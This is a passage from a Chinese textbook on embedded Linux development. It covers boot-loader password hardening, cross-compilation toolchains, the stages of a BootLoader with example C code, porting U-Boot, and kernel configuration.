2）如果是使用的lilo方式进行引导，可以通过linuxconf或直接修改lilo.conf，把引导时等待输入时间设置为0或最短。这种情况下，如果进入单用户方式，可以用软盘进行引导。

3）如果使用GRUB方式进行引导，最简单的方法是使用GRUB密码，对启动选项进行保护。

4）为了防止他人远程进行破坏，使系统重启，除了对root的密码和/etc目录下的文件进行有效管理之外，还应当对CMOS进行密码设置，这样即使把系统改成单用户方式了，也无法直接启动计算机进行操作。


2.7　思考与练习

1.Linux的发行版本主要有哪些？

2.C语言主要有哪些特点？

3.Linux有哪些特性？

4.Linux常用的命令有哪些？


第3章　构建嵌入式Linux开发环境

本章要点：

嵌入式系统开发环境的构建

Linux的引导程序U-Boot

嵌入式Linux操作系统内核编译


 3.1　嵌入式系统开发环境的构建

随着嵌入式消费类电子产品的大量开发应用以及Linux操作系统的不断完善强大，嵌入式Linux系统越来越多地进入人们的生活中。基于Linux操作系统的开发环境一般由目标系统硬件（开发板）和宿主PC机构成。目标板用于运行操作系统和应用软件，而目标板所使用的操作系统内核编译、应用程序开发调试却是通过宿主PC机来完成的。这就需要引入交叉编译环境的概念。引入交叉编译的原因是由于一般目标板的资源都比较有限，需要有强大的宿主PC机为它完成大部分的调试编译任务。

交叉编译环境，简单地说就是在一个平台上生成另一个平台上的可执行代码，它一般是一个由编译器、链接器和解释器组成的综合开发环境。交叉编译工具主要有Binutils、GCC和Glibc等。有时出于减小libc库大小的考虑，也可以用别的C库来代替Glibe，例如μCLibc、dietlibc和newlib。下面先来介绍这些工具。

1.Binutils

Binutils是一组二进制处理工具的集合，包括链接器、汇编器和其他用于目标文件和档案的工具。Binutils的主要工具介绍如下：

·addr2line：把程序地址转换为文件名和行号。在命令行中给它一个地址和一个可执行文件名，它就会使用这个可执行文件的调试信息指出在给出的地址上是哪个文件以及行号。

·ar：建立、修改、提取档案文件。档案文件是包含多个文件内容的一个大文件，其结构保证了可以恢复原始文件内容。

·as：主要用来编译GNU C编译器GCC输出的汇编文件，产生的目标文件由链接器ld连接。

·c++filt：链接器使用它来过滤C++和Java符号，防止重载函数冲突。

·gprof：显示程序调用段的各种数据。

·ld：是链接器，它把一些目标和归档文件结合在一起，重定位数据，并链接符号引用。通常，建立一个新编译程序的最后一步就是调用ld。

·nm：列出目标文件中的符号。

·objcopy：把一种目标文件中的内容复制到另一种类型的目标文件中。

·objdump：显示一个或者更多目标文件的信息。使用选项来进行控制。

·ranlib：产生归档文件索引，并将其保存到这个归档文件中。在索引中列出了归档文件各成员所定义的可重分配目标文件。

·readelf：显示ebf格式可执行文件的信息。

·size：列出目标文件每一段的大小以及总体的大小。默认情况下，对于每个目标文件或者一个归档文件中的每个模块只产生一行输出。

·strings：打印某个文件的可打印字符串，这些字符串最少有4个字符长，也可以使用选项-n设置字符串的最小长度。默认情况下，它只打印目标文件初始化和可加载段中的可打印字符；对于其他类型的文件它打印整个文件的可打印字符，这个程序对于了解非文本文件的内容很有帮助。

·strip：丢弃目标文件中的全部或者特定符号。

·libiberty：包含许多GNU程序都会用到的函数，这些函数名称为：getopt、obstack、strer-ror、strtol和strtoul等。

·libbfd：二进制文件描述库。

·libopcodes：用来处理opcodes的库，在生成一些应用程序的时候也会用到它。

windres：一个windows资源的编译器。

2.GCC

GCC工具是编译程序的最为主要的工具，它包括以下几个主要的工具。

·Cpp：C预处理器。

·g++：C++编译器。

·gcc：C编译器。

·gccbug：创建bug报告的Shell脚本。

·gcov：分析在程序中哪里做优化效果好。

·libgcc*：gcc的运行库。

·libstdc++：标准C++库，包含许多常用函数。

·libsupc++：提供支持C++语言的库函数。

如果是专门用于ARM处理器，这些工具名称前面一般要加上armv4l-unknown-Linux-，如armv4l-unknown-Linux-g++。

3.Glibc

Glibc是提供系统调用和基本函数的C库，比如open()、malloc()、printf()等。所有动态链接的程序都要用到它。Glibc中主要有以下程序。

·catchsegv：当程序发生segmentation fault的时候，用来建立一个堆栈跟踪。

·gencat：建立消息列表。

·getconf：针对文件系统的指定变量显示其系统设置值。

·getent：从系统管理数据库获取一个条目。

·glibcbug：建立glibc的bug报告并且发送到bug报告的邮件地址。

·iconv：转化字符集。

·iconvconfig：建立快速读取的iconv模块所使用的设置文件。

·ldconfig：设置动态链接库的实时绑定。

·ldd：列出每个程序或者命令需要的共享库。

·lddlibc4：辅助ldd操作目标文件。

·locale：是一个Perl程序，可以告诉编译器打开或关闭内建的locale支持。

·localedef：编译locale标准。

·nscd：提供对常用名称设备调用的缓存的守护进程。

·nscd_nischeck：检查在进行NIS+侦查时是否需要安全模式。

·pcprofiledump：打印PC profiling产生的信息。

·pt_chown：是一个辅助程序，帮助grantpt设置子虚拟终端的属主、用户组和读写权限。

·rpcgen：产生实现RPC协议的C代码。

·rpcinfo：对RPC服务器产生一个RPC呼叫。

·sln：用来创建符号链接，由于它本身是静态链接的，在动态链接不起作用的时候，sln仍然可以建立符号链接。

·sprof：读取并显示共享目标的特征描述数据。

·tzselect：对用户提出关于当前位置的问题，并输出时区信息到标准输出。

·xtrace：通过打印当前执行的函数跟踪程序执行情况。

·zdump：显示时区。

·zic：时区编译器。

·ld.so：帮助动态链接库的执行。

·libBrokenLocale：帮助程序处理破损locale，如Mozilla。

·libSegFault：处理segmentation fault信号，试图捕捉segfaults。

·libanl：异步名称查询库。

·libbsd-compat：为了在Linux下执行一些BSD程序，libbsd-compat提供了必要的可移植性。

·libc：是主要的C库常用函数的集成。

·libcrypt：加密编码库。

·libdl：动态链接接口。

·libg：g++的运行时库。

·libieee：IEEE浮点运算库。

·libm：数学函数库。

·libmcheck：包括了启动时需要的代码。

·libmemusage：帮助memusage搜集程序运行时内存占用的信息。

·libnsl：网络服务库。

·libnss*：是名称服务切换库，包含了解释主机名、用户名、组名、别名、服务和协议等的函数。

·libpcprofile：帮助内核跟踪在函数、源码行和命令中CPU的使用时间。

·libpthread：POSIX线程库。

·libresolv：创建、发送及解释到互联网域名服务器的数据包。

·librpcsvc：提供RPC的其他服务。

·librt：提供了大部分的POSIX.1b实时扩展的接口。

·libthread_db：对建立多线程程序的调试很有用。

·libutil：包含了在很多不同的UNIX程序中使用的“标准”函数。

如果是针对ARM创建交叉编译环境，其一般步骤为：

[1]下载源文件和补丁。下载源文件包括：

·Linux内核源码及相应的补丁

·binutils-2.10.1

·gcc-2.95.3

·glibc-2.2.3

·glibc-linuxthreads-2.2.3

可以尝试选定更新的版本，编译无法通过时，依次使用较旧的版本。即使发现新版本组合能够编译成功，仍然需要测试建立的工具链是否可以使用。

[2]建立工作目录，设置环境变量，安装Linux头文件。

[3]建立二进制工具（binutils）：binutils包中的工具常用来操作二进制目标文件。该包中最重要的两个工具就是GNU汇编器as和链接器ld。

[4]创建初始编译器（bootstrap gcc）：创建交叉编译版本的GCC，需要交叉编译版本的Glibc，而交叉编译版本的Glibc是通过交叉编译版本的GCC创建的。

[5]创建c库（Glibc）：这一步编译好的Glibc还不能用，它只是第二次编译所需要的工具。后面的编译工作都需要链接到这个库上。

[6]建立全套编译器（full gcc）：有了交叉编译版本的Glibc，我们就可以创建完整版本的GCC了。

[7]第二次创建C库：重新编译Glibc，并把Glibc安装到特定的工作目录中。

但是上面所述的交叉编译环境的创建比较复杂，很多步骤涉及对硬件平台的选择。现在提供开发板的公司一般会在附赠的光盘中提供该公司测试通过的交叉编译器，而且很多公司把以上安装步骤全部写入脚本文件或者以发行包的形式提供，由于是测试通过的编译器，所以可靠性比较高，与开发板能很好地吻合，大大方便了用户的使用。


3.2　移植U-Boot

本节介绍BootLoader的概念、常见的BootLoader、BootLoader的主要任务、BootLoader的框架结构以及BootLoader的安装、U-Boot的分析与移植等内容。


 3.2.1　BootLoader概述

在嵌入式系统中，通常并没有像BIOS那样的固件程序，因此整个系统的加载启动任务完全由引导程序BootLoader来完成。简单地说，BootLoader就是在操作系统内核运行之前运行的一段小程序。通过这段小程序，可以初始化硬件设备、建立内存空间的映射图，从而将系统的软硬件环境带到一个合适的状态，以便为最终调用操作系统内核准备好正确的环境。通常，BootLoader是严重地依赖于硬件而实现的，特别是在嵌入式世界，嵌入式产品型号众多，硬件环境复杂，建立一个通用的BootLoader几乎是不可能的。尽管如此，仍然可以对BootLoader归纳出一些通用的概念来，以指导特定的BootLoader设计与实现。

针对不同的处理器体系结构通常有不同的BootLoader程序，但是有些BootLoader也可以同时支持多种体系结构的处理器。针对ARM处理器，常见的BootLoader有U-Boot、Red-Boot、ARMBoot等。

（1）U-Boot

它是sourceforge上的一个开放源代码的项目，可对PowerPC、ARM、MIPS、x86等处理器提供支持，它支持的嵌入式操作系统有Linux、VxWorks、NetBSD、QNX、RTEMS等，是目前支持最广泛、使用最多的BootLoader。

（2）RedBoot

RedBoot是Redhat公司随eCos（Embedded Configurable Operating System）发布的一个Boot方案，是一个开源项目。RedBoot可以通过串口和以太网口与GDB进行通信，调试应用程序，甚至能中断被GDB运行的应用程序。RedBoot是在eCos的基础上剥离出来的，继承了eCos的简洁、轻巧、可灵活配置、稳定可靠等优秀品质。它可以使用X-modem或Y-modem协议经由串口下载，也可以经由以太网口通过BOOTP/DHCP服务获得IP参数，使用TFTP方式下载程序映像文件，用于调试和系统初始化（Flash下载更新和网络启动）。

（3）ARMBoot

ARMBoot是sourceforge上的一个开放源代码的项目，它最初的设计只是针对ARM处理器体系结构，所以它可以很容易地被移植到各种以ARM为核心的平台上。

每种不同的CPU体系结构都有不同的BootLoader。有些BootLoader也支持多种体系结构的CPU，比如U-Boot就同时支持ARM体系结构和MIPS体系结构。除了依赖于CPU的体系结构外，BootLoader实际上也依赖于具体的嵌入式板级设备的配置。也就是说，对于两块不同的嵌入式板而言，即使它们是基于同一种CPU而构建的，要想让运行在一块板子上的BootLoader程序也能运行在另一块板子上，通常也都需要修改BootLoader的源程序。

系统加电或复位后，所有的CPU通常都从某个由CPU制造商预先安排的地址上取指令。而基于CPU构建的嵌入式系统通常都有某种类型的固态存储设备（比如ROM、EEPROM或FLASH等）被映射到这个预先安排的地址上。因此在系统加电后，CPU将首先执行BootLoader程序。

图3-1是一个同时装有BootLoader、内核的启动参数、内核映像和根文件系统映像的固态存储设备的典型空间分配结构图。
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图　3-1　固态存储设备的典型空间分配结构

主机和目标机之间一般通过串口建立连接，BootLoader软件在执行时通常会通过串口来进行I/O，比如：输出打印信息到串口，从串口读取用户控制字符等。BootLoader的启动过程有单阶段（Single Stage）和多阶段（Multi-Stage）两种形式。通常多阶段的BootLoader能提供更为复杂的功能，以及更好的可移植性。从固态存储设备上启动的BootLoader大多都是2阶段的启动过程，也即启动过程可以分为stage1和stage2两部分。stage1主要完成依赖于CPU体系结构的代码的初始化，比如设备初始化代码等，而且这些代码通常都是用汇编语言的形式来实现的。stage2通常用C语言来实现，用以实现较复杂的功能，并且使代码具有更好的可读性和可移植性。

1.stage1通常包括的步骤（按执行的先后顺序）

（1）硬件设备初始化

这是BootLoader一开始就执行的操作，其目的是为stage2的执行以及随后的kernel的执行准备好一些基本的硬件环境。它通常包括以下步骤（按执行的先后顺序）。

[1]屏蔽所有的中断。为中断提供服务通常是OS设备驱动程序的责任，因此在BootLoader的执行全过程中可以不必响应任何中断。中断屏蔽可以通过写CPU的中断屏蔽寄存器或状态寄存器（比如ARM的CPSR寄存器）来完成。

[2]设置CPU的速度和时钟频率。

[3]RAM初始化。包括正确地设置系统的内存控制器的功能寄存器以及各内存库控制寄存器等。

[4]初始化LED。典型地，通过GPIO来驱动LED，其目的是表明系统的状态是OK还是Er-ror。如果板子上没有LED，那么也可以通过初始化UART向串口打印BootLoader的Logo字符信息来完成这一点。

[5]关闭CPU内部指令/数据cache。

（2）为加载BootLoader的stage2准备RAM空间

为了获得更快的执行速度，通常把stage2加载到RAM空间来执行，因此必须为加载BootLoader的stage2准备好一段可用的RAM空间范围。

由于stage2通常是C语言执行代码，因此在考虑空间大小时，除了考虑stage2可执行映像的大小外，还必须把堆栈空间也考虑进来。此外，空间大小最好是memory page大小（通常是4KB）的倍数。一般而言，1MB的RAM空间已经足够了。具体的地址范围可以任意安排，比如blob就将它的stage2可执行映像安排到从系统RAM起始地址0xc0200000开始的1MB空间内执行。但是，将stage2安排到整个RAM空间的最顶1MB是一种值得推荐的方法。

为了方便后面的叙述，这里把所安排的RAM空间范围的大小记为stage2_size（字节），把起始地址和终止地址分别记为stage2_start和stage2_end（这两个地址均以4字节边界对齐）。因此：



stage2_end=stage2_start+stage2_size



另外，还必须确保所安排的地址范围的确是可读写的RAM空间，因此，必须对所安排的地址范围进行测试。可以采用以下的检测算法。

[1]先保存memory page一开始两个字的内容。

[2]向这两个字中写入任意的数字。比如：向第一个字写入0x55，向第2个字写入0xaa。

[3]然后，立即将这两个字的内容读回。显然，读到的内容应该分别是0x55和0xaa。如果不是，则说明这个memory page所占据的地址范围不是一段有效的RAM空间。

[4]再向这两个字中写入任意的数字。比如：向第一个字写入0xaa，向第2个字写入0x55。

[5]然后，立即将这两个字的内容读回。显然，读到的内容应该分别是0xaa和0x55。如果不是，则说明这个memory page所占据的地址范围不是一段有效的RAM空间。

[6]恢复这两个字的原始内容。测试完毕。

为了得到一段干净的RAM空间范围，也可以将所安排的RAM空间范围进行清零操作。

（3）复制BootLoader的stage2到RAM空间中

复制时要确定stage2的可执行映像在固态存储设备的存放起始地址和终止地址以及RAM空间的起始地址。

（4）设置好堆栈

堆栈指针的设置是为执行C语言代码做好准备。此外，在设置堆栈指针sp之前，也可以关闭LED灯，以提示用户准备跳转到stage2。执行上述步骤后，系统的物理内存布局应该如图3-2所示。
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图　3-2　BootLoader的stage2可执行映像刚被复制到RAM空间时的系统内存布局

（5）跳转到stage2的C入口点

在上述一切都就绪后，就可以跳转到BootLoader的stage2去执行了。比如，在ARM系统中，可以通过修改PC寄存器的地址来实现。

2.stage2通常包括的步骤（按执行的先后顺序）

（1）初始化本阶段要使用到的硬件设备

这通常包括初始化至少一个串口，以便和终端用户进行信息交互；初始化计时器等。在初始化这些设备之前，也可以重新把LED灯点亮，以表明已经进入main()函数执行。设备初始化完成后，可以输出一些打印信息，包括程序名字字符串、版本号等。

（2）检测系统内存映射（memory map）

所谓内存映射是指在整个4GB物理地址空间中有哪些地址范围被分配用来寻址系统的RAM单元。虽然CPU通常预留出足够的地址空间给系统RAM，但是在搭建具体的嵌入式系统时却不一定会实现CPU预留的全部RAM地址空间。也就是说，具体的嵌入式系统往往只把CPU预留的全部RAM地址空间中的一部分映射到RAM单元，而让剩下的那部分预留RAM地址空间处于未使用状态。基于上述这个事实，BootLoader的stage2必须在它想干点什么（比如，将存储在Flash上的内核映像读到RAM空间）之前检测整个系统的内存映射情况，也即它必须知道CPU预留的全部RAM地址空间中的哪些被真正映射到RAM地址单元，哪些是处于"unused"状态的。

可以用如下数据结构来描述RAM地址空间中的一段连续（continuous）的地址范围。



typedef struct memory_area_struct{

u32 start;/*the base address of the memory region*/

u32 size;/*the byte number of the memory region*/

int used;

}memory_area_t;



这段RAM地址空间中的连续地址范围可以处于两种状态之一。

·used=1，说明这段连续的地址范围已被实现，也即真正地被映射到RAM单元上。

·used=0，说明这段连续的地址范围并未被系统所实现，而是处于未使用状态。

基于上述memory_area_t数据结构，整个CPU预留的RAM地址空间可以用一个memory_area_t类型的数组来表示，如下所示。



memory_area_t memory_map[NUM_MEM_AREAS]={

[0……(NUM_MEM_AREAS-1)]={

.start=0,

.size=0,

.used=0

},

};



下面给出一个可用来检测整个RAM地址空间内存映射情况的简单而有效的算法。



/*数组初始化*/

for(i=0;i＜NUM_MEM_AREAS;i++)

memory_map[i].used=0;

/*first write a 0 to all memory locations*/

for(addr=MEM_START;addr＜MEM_END;addr+=PAGE_SIZE)

*(u32*)addr=0;

for(i=0,addr=MEM_START;addr＜MEM_END;addr+=PAGE_SIZE){

/**检测从基地址MEM_START+i*PAGE_SIZE开始，大小为

PAGE_SIZE的地址空间是否是有效的RAM地址空间。*/

test_mempage();/*调用算法*/

if(current memory page isnot a valid ram page){

/*no RAM here*/

if(memory_map[i].used)

i++;

continue;

}



/*当前页已经是一个被映射到RAM的有效地址范围，

*但是还要看当前页是否只是4GB地址空间中某个地址页的别名。

*/

if(*(u32*)addr!=0){/*alias?*/

/*这个内存页是4GB地址空间中某个地址页的别名*/

if(memory_map[i].used)

i++;

continue;

}

/*

*当前页已经是一个被映射到RAM的有效地址范围，

*而且它也不是4GB地址空间中某个地址页的别名。

*/

if(memory_map[i].used==0){

memory_map[i].start=addr;

memory_map[i].size=PAGE_SIZE;

memory_map[i].used=1;

}else{

memory_map[i].size+=PAGE_SIZE;

}

}/*end of for(…)*/



在用上述算法检测完系统的内存映射情况后，BootLoader也可以将内存映射的详细信息打印到串口。

（3）将kernel映像和根文件系统映像从Flash上读到RAM空间中

首先规划内存占用的布局，这里包括两个方面：内核映像所占用的内存范围；根文件系统所占用的内存范围。在规划内存占用的布局时，主要考虑基地址和映像的大小两个方面。对于内核映像，一般将其复制到从基地址开始的大约1MB大小的内存范围内。

由于像ARM这样的嵌入式CPU通常都是在统一的内存地址空间中寻址Flash等固态存储设备的，因此从Flash上读取数据与从RAM单元中读取数据并没有什么不同。用一个简单的循环就可以完成从Flash设备上复制映像的工作。



while(count){

*dest++=*src++;/*they are all aligned with word boundary*/

count-=4;/*byte number*/

};



（4）为内核设置启动参数

将内核映像和根文件系统映像复制到RAM空间后，就可以准备启动Linux内核了。但是在调用内核之前，应该做一步准备工作，即设置Linux内核的启动参数。

Linux 2.4.x以后版本的内核都期望以标记列表（tagged list）的形式来传递启动参数。启动参数标记列表以标记ATAG_CORE开始，以标记ATAG_NONE结束。每个标记由标识被传递参数的tag_header结构以及随后的参数值数据结构来组成。数据结构tag和tag_header定义在Linux内核源码的include/asm/setup.h头文件中。



/*The list ends with an ATAG_NONE node.*/

#define ATAG_NONE0x00000000

struct tag_header{

u32 size;/*注意,这里size是以字数为单位的。*/

u32 tag;

};

……

struct tag{

struct tag_header hdr;

union{

struct tag_core core;

struct tag_mem32 mem;

struct tag_videotext videotext;

struct tag_ramdisk ramdisk;

struct tag_initrd initrd;

struct tag_serialnr serialnr;

struct tag_revision revision;

struct tag_videolfb videolfb;

struct tag_cmdline cmdline;

/*

*Acorn specific

*/

struct tag_acorn acorn;

/*

*DC21285 specific

*/

struct tag_memclk memclk;

}u;

};



在嵌入式Linux系统中，通常需要由BootLoader设置的常见启动参数有ATAG_CORE、ATAG_MEM、ATAG_CMDLINE、ATAG_RAMDISK、ATAG_INITRD等。比如，设置ATAG_CORE的代码如下。



params=(struct tag*)BOOT_PARAMS;

params-＞hdr.tag=ATAG_CORE;

params-＞hdr.size=tag_size(tag_core);

params-＞u.core.flags=0;

params-＞u.core.pagesize=0;

params-＞u.core.rootdev=0;

params=tag_next(params);



其中，BOOT_PARAMS表示内核启动参数在内存中的起始基地址，指针params是一个struct tag类型的指针。宏tag_next()将以指向当前标记的指针为参数，计算紧临当前标记的下一个标记的起始地址。注意，内核的根文件系统所在的设备ID就是在这里设置的。

下面是设置内存映射情况的示例代码。



for(i=0;i＜NUM_MEM_AREAS;i++){

if(memory_map[i].used){

params-＞hdr.tag=ATAG_MEM;

params-＞hdr.size=tag_size(tag_mem32);

params-＞u.mem.start=memory_map[i].start;

params-＞u.mem.size=memory_map[i].size;

params=tag_next(params);

}

}



可以看出，在memory_map数组中，每一个有效的内存段都对应一个ATAG_MEM参数标记。

Linux内核在启动时可以以命令行参数的形式来接收信息，利用这一点可以向内核提供那些内核不能自己检测的硬件参数信息，或者重载（override）内核自己检测到的信息。下面是一段设置调用内核命令行参数字符串的示例代码。



char*p;

/*eat leading white space*/

for(p=commandline;*p=='';p++);

/*skip non-existent command lines so the kernel will still

*use its default command line.

*/

if(*p=='\0')

return;

params-＞hdr.tag=ATAG_CMDLINE;

params-＞hdr.size=(sizeof(struct tag_header)+strlen(p)+1+4)＞＞2;

strcpy(params-＞u.cmdline.cmdline,p);

params=tag_next(params);



下面是设置ATAG_INITRD的示例代码，它告诉内核在RAM中的什么地方可以找到ini-trd映像（压缩格式）以及它的大小。



params-＞hdr.tag=ATAG_INITRD2;

params-＞hdr.size=tag_size(tag_initrd);

params-＞u.initrd.start=RAMDISK_RAM_BASE;

params-＞u.initrd.size=INITRD_LEN;

params=tag_next(params);



下面是设置ATAG_RAMDISK的示例代码，它告诉内核解压后的RAMDISK有多大（单位是KB）。



params-＞hdr.tag=ATAG_RAMDISK;

params-＞hdr.size=tag_size(tag_ramdisk);

params-＞u.ramdisk.start=0;

params-＞u.ramdisk.size=RAMDISK_SIZE;/*请注意,单位是KB*/

params-＞u.ramdisk.flags=1;/*automatically load ramdisk*/

params=tag_next(params);



最后，设置ATAG_NONE标记，结束整个启动参数列表。



static void setup_end_tag(void)

{

params-＞hdr.tag=ATAG_NONE;

params-＞hdr.size=0;

}



（5）调用内核

BootLoader调用Linux内核的方法是直接跳转到内核的第一条指令处，也即直接跳转到MEM_START+0x8000地址处。在跳转时，下列条件要满足。

·CPU寄存器的设置：R0=0；R1=机器类型ID；关于Machine Type Number，可以参见linux/arch/arm/tools/mach-types；R2=启动参数标记列表在RAM中的起始基地址。

·CPU模式：必须禁止中断（IRQs和FIQs）；CPU必须为SVC模式。

·Cache和MMU的设置：MMU必须关闭；指令Cache可以打开也可以关闭；数据Cache必须关闭。

如果用C语言，可以像下列示例代码这样来调用内核。



void(*theKernel)(int zero,int arch,u32 params_addr)=(void(*)(int,int,u32))

KERNEL_RAM_BASE;

...

theKernel(0,ARCH_NUMBER,(u32)kernel_params_start);



theKernel()函数调用应该永远不返回的。如果这个调用返回，则说明出错。

BootLoader的系统启动方案流程如图3-3所示。
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图　3-3　BootLoader系统启动方案流程

大多数BootLoader都包含两种不同的操作模式（Operation Mode）：启动加载模式和下载模式。这种区别仅对于开发人员才有意义。但从最终用户的角度看，BootLoader的作用就是用来加载操作系统，并不存在所谓的启动加载模式与下载工作模式的区别。

·启动加载（Boot loading）模式：这种模式也称为“自主”（Autonomous）模式。也即BootLoader从目标机上的某个固态存储设备上将操作系统加载到RAM中运行，整个过程并没有用户介入。这种模式是BootLoader的正常工作模式，因此在嵌入式产品发布的时候，BootLoader显然必须工作在这种模式下。

·下载（Downloading）模式：在这种模式下，目标机上的BootLoader将通过串口连接或网络连接等通信手段从主机（Host）下载文件，比如，下载内核映像和根文件系统映像等。从主机下载的文件通常首先被BootLoader保存到目标机的RAM中，然后再被BootLoader写到目标机的Flash类固态存储设备中。BootLoader的这种模式通常在第一次安装内核与根文件系统时被使用；此外，以后的系统更新也会使用BootLoader的这种工作模式。工作于这种模式下的BootLoader通常都会向它的终端用户提供一个简单的命令行接口。


3.2.2　U-Boot分析与移植

1.U-Boot简介

U-Boot（Universal BootLoader），即通用BootLoader，是遵循GPL条款的开放源码项目。从FADSROM、8xxROM、PPCBOOT逐步发展演化而来。其前身是由德国DENX软件工程中心的Wolfgang Denk基于8xxROM的源码创建的PPCBOOT工程。其源码目录、编译形式与Linux内核很相似，事实上，不少U-Boot源码就是相应的Linux内核源程序的简化，尤其是一些设备的驱动程序，这从U-Boot源码的注释中能体现这一点。但是U-Boot不仅仅支持嵌入式Linux系统的引导，当前，它还支持NetBSD、VxWorks、QNX、RTEMS、ARTOS和LynxOS嵌入式操作系统。其目前要支持的目标操作系统是OpenBSD、NetBSD、FreeBSD、4.4BSD、Linux、SVR4、Esix、Solaris、Irix、SCO、Dell、NCR、VxWorks、LynxOS、pSOS、QNX、RTEMS和ARTOS。这表现了U-Boot中Universal的一层含义，另外一层含义则是U-Boot除了支持PowerPC系列的处理器外，还能支持MIPS、x86、ARM、NIOS、XScale等诸多常用系列的处理器。这两个特点正是U-Boot项目的开发目标，即支持尽可能多的嵌入式处理器和嵌入式操作系统。就目前来看，U-Boot对PowerPC系列处理器支持最为丰富，对Linux的支持最完善。其他系列的处理器和操作系统基本是在2002年11月PPCBOOT改名为U-Boot后逐步扩充的。从PPCBOOT向U-Boot的顺利过渡，很大程度上归功于U-Boot的维护人——Wolfgang Denk[以下简称W.D]精湛的专业水平和坚持不懈的努力。当前，U-Boot项目正在他的带领下，众多有志于开放源码BootLoader移植工作的嵌入式开发人员正如火如荼地不断展开和深入各个不同系列嵌入式处理器的移植工作，以支持更多的嵌入式操作系统的装载与引导。

U-Boot有如下特性。

·开放源码，支持多种嵌入式操作系统内核，如Linux、NetBSD、VxWorks、QNX、RTEMS、ARTOS、LynxOS。

·支持多个处理器系列，如PowerPC、ARM、x86、MIPS、XScale。

·较高的可靠性和稳定性。

·高度灵活的功能设置，适合U-Boot调试、操作系统的不同引导要求、产品发布等。

·丰富的设备驱动源码，如串口、以太网、SDRAM、FLASH、LCD、NVRAM、EEPROM、RTC、键盘等。

·较为丰富的开发调试文档与强大的网络技术支持。

·支持NFS挂载、RAMDISK（压缩或非压缩）形式的根文件系统。

·支持NFS挂载、从Flash中引导压缩或非压缩系统内核。

·可灵活设置、传递多个关键参数给操作系统，适合系统在不同开发阶段的调试要求与产品发布，尤其支持Linux系统。

·支持目标板环境变量的多种存储方式，如Flash、NVRAM、EEPROM等。

·CRC32校验，可校验Flash中的内核、RAMDISK镜像文件是否完好。

·上电自检功能：SDRAM、Flash大小自动检测，SDRAM故障检测，CPU型号检测。

·特殊功能：XIP内核引导。

U-Boot软件包下载网站：http://sourceforge.net/project/u-boot。

U-Boot邮件列表网站：http://lists.sourceforge.net/lists/listinfo/u-boot-users/。

2.U-Boot源码结构

从网站下载U-Boot源码包，例如U-Boot-1.1.26tar.bz2，解压就可以得到全部U-Boot源程序。在顶层目录下有26个子目录，分别存放和管理不同的源程序。这些目录中所要存放的文件，可以分为4类。

·第1类目录与处理器体系结构或者开发板硬件直接相关。

·第2类目录是一些通用的函数或者驱动程序。

·第3类目录是通用的设备驱动程序。

·第4类目录是U-Boot的应用程序、工具或者文档。

表3-1列出了U-Boot顶层目录下各级目录的功能与作用。
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U-Boot的源代码包含对几十种处理器、数百种开发板的支持。可是对于特定的开发板，配置编译过程只需要其中的部分程序。这里以S3C2410 arm920t处理器为例，具体分析S3C2410处理器和开发板所依赖的程序，以及U-Boot的通用函数和工具。

3.U-Boot的编译

U-Boot的源码是通过GCC和Makefile组织编译的。顶层目录下的Makefile首先可以设置开发板的定义，然后递归地调用各级子目录下的Makefile，最后把编译过的程序链接成U-Boot映像。

顶层目录下的Makefile负责U-Boot的整体配置编译。每一种开发板在Makefile都需要有配置定义。除了编译过程Makefile以外，还要在程序中为开发板定义配置选项或者参数。这个头文件是include/configs/＜board_name＞.h。＜board_name＞用相应的BOARD定义代替。

这个头文件中主要定义了两类变量。

·一类是选项，前缀是CONFIG_，用来选择处理器、设备接口、命令、属性等。例如：



#define CONFIG_ARM920T 1

#define CONFIG_DRIVER_CS8900 1



·另一类是参数，前缀是CFG_，用来定义总线频率、串口波特率、Flash地址等参数。例如：



#define CFG_FLASH_BASE 0x00000000

#define CFG_PROMPT"=＞"



根据对Makefile的分析，编译分为2步。第1步配置，例如：make smdk2410_config；第2步编译，执行make就可以了。

编译完成后，可以得到U-Boot各种格式的映像文件和符号表，如表3-2所示。
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4.U-Boot的移植

U-Boot能够支持多种体系结构的处理器，支持的开发板也越来越多。因为BootLoader是完全依赖硬件平台的，所以在新电路板上需要移植U-Boot程序。

开始移植U-Boot之前，先要熟悉硬件电路板和处理器。确认U-Boot是否已经支持新开发板的处理器和I/O设备。假如U-Boot已经支持一块非常相似的电路板，那么移植的过程将非常简单。

移植U-Boot工作就是添加开发板硬件相关的文件、配置选项，然后配置编译。开始移植之前，需要先分析一下U-Boot已经支持的开发板，比较出硬件配置最接近的开发板。选择的原则是，首先处理器相同，其次处理器体系结构相同，然后比较以太网接口等外围接口。还要验证一下这个参考开发板的U-Boot，至少能够配置编译通过。

移植U-Boot的基本步骤如下。

[1]在顶层Makefile中为开发板添加新的配置选项。

[2]创建一个新目录存放开发板相关的代码，并且添加文件。

[3]为开发板添加新的配置文件。

[4]配置开发板。

[5]编译U-Boot。

[6]添加驱动或者功能选项。在能够编译通过的基础上，还要实现U-Boot的以太网接口、Flash擦写等功能。

[7]调试U-Boot源代码，直到U-Boot在开发板上能够正常启动。

调试的过程可能是很艰难的，需要借助工具，并且有些问题可能会困扰您很长时间。


3.3　嵌入式Linux操作系统内核编译

建立交叉开发环境之后，就可以编译嵌入式Linux的内核了。Linux内核是指Linux源代码经过编译和链接生成的影响文件（Image）。通常编译嵌入式Linux内核都是通过不同的make命令来实现的，它的执行配置文件就是通常所说的Makefile，而不同的Makefile又通过互相的依赖关系构成一个统一的整体去完成建立依存关系、建立内核等功能。

一般内核编译配置选项有三种选择：将该功能编译进内核、不将该功能编译进内核、将该功能编译成可以在需要时动态插入到内核中的模块。每种编译模式都有各自的优缺点，如果把与核心其他部分关系较远且不经常使用的部分功能代码编译成可加载模块，在使用的时候可以动态加载，这样有利于减小内核的长度，减小内核消耗的内存，但缺点是必须要通过手动调用这些模块；如果将其编译到内核，则相对方便、快捷，但缺点是使内核变得越来越庞大，消耗更多的系统资源。因此建议将经常使用的功能直接编译到内核中，比如网卡、光驱等。


 3.3.1　内核的配置

Linux内核的配置是创建一个能运行于目标系统上的内核的第一步，内核的配置过程其实就是内核裁剪的过程，嵌入式Linux内核要针对具体的嵌入式设备平台软硬件的需要，裁减掉一些不必要的功能，这样可以更好地节省系统资源，提高系统运行效率。内核配置有很多种方法，在配置内核过程中有很多选项需要选择。

Linux内核的配置系统由3部分组成。

1）Makefile：分布在Linux内核源代码中的Makefile，定义Linux内核的编译规则。

2）配置文件（config.in）：给用户提供配置选择的功能。

3）配置工具，包括配置命令解释器（对配置脚本中使用的命令进行解释）和配置用户界面（提供基于字符界面、基于Ncurses图形界面和基于Xwindows图形界面的用户配置界面）。

